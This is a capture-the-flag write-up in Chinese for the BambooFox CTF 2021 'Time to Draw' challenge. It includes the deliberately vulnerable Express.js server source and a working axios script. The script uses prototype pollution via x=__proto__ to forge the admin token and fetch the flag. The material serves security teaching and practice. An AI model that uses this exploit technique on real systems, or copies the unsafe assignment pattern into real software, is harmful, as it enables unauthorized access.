BambooFox CTF 2021 - Time to Draw
aszx87410 opened this issue · 0 comments
aszx87410 commented
是一個畫圖然後會即時同步的網站,有附上 source code:
const express = require("express");
const cookieParser = require('cookie-parser')
var crypto = require('crypto');
const secret = require("./secret");
const app = express();
app.use(cookieParser(secret.FLAG));
let canvas = {
...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};
const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');
app.get('/', (req, res) => {
if (!req.signedCookies.user)
res.cookie('user', { admin: false }, { signed: true });
res.sendFile(__dirname + "/index.html");
});
app.get('/source', (_, res) => {
res.sendFile(__filename);
});
app.get('/api/canvas', (_, res) => {
res.json(canvas);
});
app.get('/api/draw', (req, res) => {
let { x, y, color } = req.query;
if (x && y && color) canvas[x][y] = color.toString();
res.json(canvas);
});
app.get('/promote', (req, res) => {
if (req.query.yo_i_want_to_be === 'admin')
res.cookie('user', { admin: true }, { signed: true });
res.send('Great, you are admin now. <a href="/">[Keep Drawing]</a>');
});
app.get('/flag', (req, res) => {
let userData = { isGuest: true };
if (req.signedCookies.user && req.signedCookies.user.admin === true) {
userData.isGuest = false;
userData.isAdmin = req.cookies.admin;
userData.token = secret.ADMIN_TOKEN;
}
if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
res.send(secret.FLAG);
else
res.send("NO");
});
app.listen(3000, "0.0.0.0");
因為最近才解了一題 prototype pollution 的題目,所以一眼就看到:if (x && y && color) canvas[x][y] = color.toString();
跟最後一段的判斷:
if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
res.send(secret.FLAG);
else
res.send("NO");
只要透過原型污染就可以讓 userData.token 可控,接下來只要找到正確的值就行了。
最後的解法長這樣:
var axios = require('axios')
var crypto = require('crypto')
var baseUrl = 'http://chall.ctf.bamboofox.tw:8787'
var myip = '1.1.1.1'
const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');
const token = '5555555555555555'
const hashValue = hash(`${myip}${token}`)
async function run() {
await axios.get(baseUrl + '/api/draw?x=__proto__&y=token&color=' + hashValue)
const response = await axios.get(baseUrl + '/flag?token=' + token)
console.log(response.data)
}
run()
讓 x = __proto__
,y = token,所以就會變成:canvas['__proto__']['token'] = xxx
,達成 prototype pollution。